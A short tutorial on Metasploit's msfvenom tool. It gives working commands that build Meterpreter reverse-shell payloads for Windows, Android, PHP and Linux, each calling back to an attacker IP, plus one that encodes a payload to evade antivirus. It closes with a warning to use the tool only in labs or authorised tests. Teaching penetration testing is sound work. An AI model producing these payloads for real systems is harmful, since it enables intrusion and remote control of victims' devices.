

What is msfvenom in Metasploit?

msfvenom is a command-line tool in Metasploit used to **create custom payloads, encode them, and output them in different formats** (like .exe, .apk, .elf, .php, etc.).

It combines two older tools:

- msfpayload – for generating payloads
- msfencode – for encoding payloads to avoid antivirus

Now, **msfvenom = payload generator + encoder**

What Can msfvenom Do?

1. Generate **malicious payloads** for different platforms (Windows, Linux, Android, etc.)
2. Encode payloads to **bypass antivirus**
3. Save the payload as a file (like .exe, .apk, .ps1, etc.)
4. Embed payloads into scripts, executables, or shellcode

Basic Syntax of msfvenom

```
msfvenom -p <payload> LHOST=<your_ip> LPORT=<your_port> -f <format> > <filename>
```

Common Parameters

Parameter Description

-p	Payload name (e.g. windows/meterpreter/reverse_tcp)
LHOST	Local Host (IP address of attacker's machine)
LPORT	Local Port (port to listen on)
-f	Format (exe, apk, raw, asp, php, c, etc.)
>	Save output to a file

Examples

1. Windows Reverse Shell EXE

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > shell.exe
```

2. Android Reverse Shell APK

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > backdoor.apk
```

3. PHP Reverse Shell Script

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.php
```

4. Linux ELF Payload

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > payload.elf
```

Encoding Payload to Bypass Antivirus

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e  
x86/shikata_ga_nai -i 5 -f exe > encoded_shell.exe
```

- -e: Encoder (e.g., x86/shikata_ga_nai)
- -i: Number of iterations

List Available Payloads

```
msfvenom -l payloads
```

List Output Formats

```
msfvenom -l formats
```

Output Formats You Can Use

- exe – Windows executable
- apk – Android app
- elf – Linux binary
- raw – Raw shellcode
- ps1 – PowerShell script
- php – PHP script
- asp, aspx, js, vbs, etc.

Ethical Warning:

Only use msfvenom in **legal environments** like:

- Labs
- Capture the Flag (CTF)
- Authorized penetration tests

Using it on real systems without permission is illegal.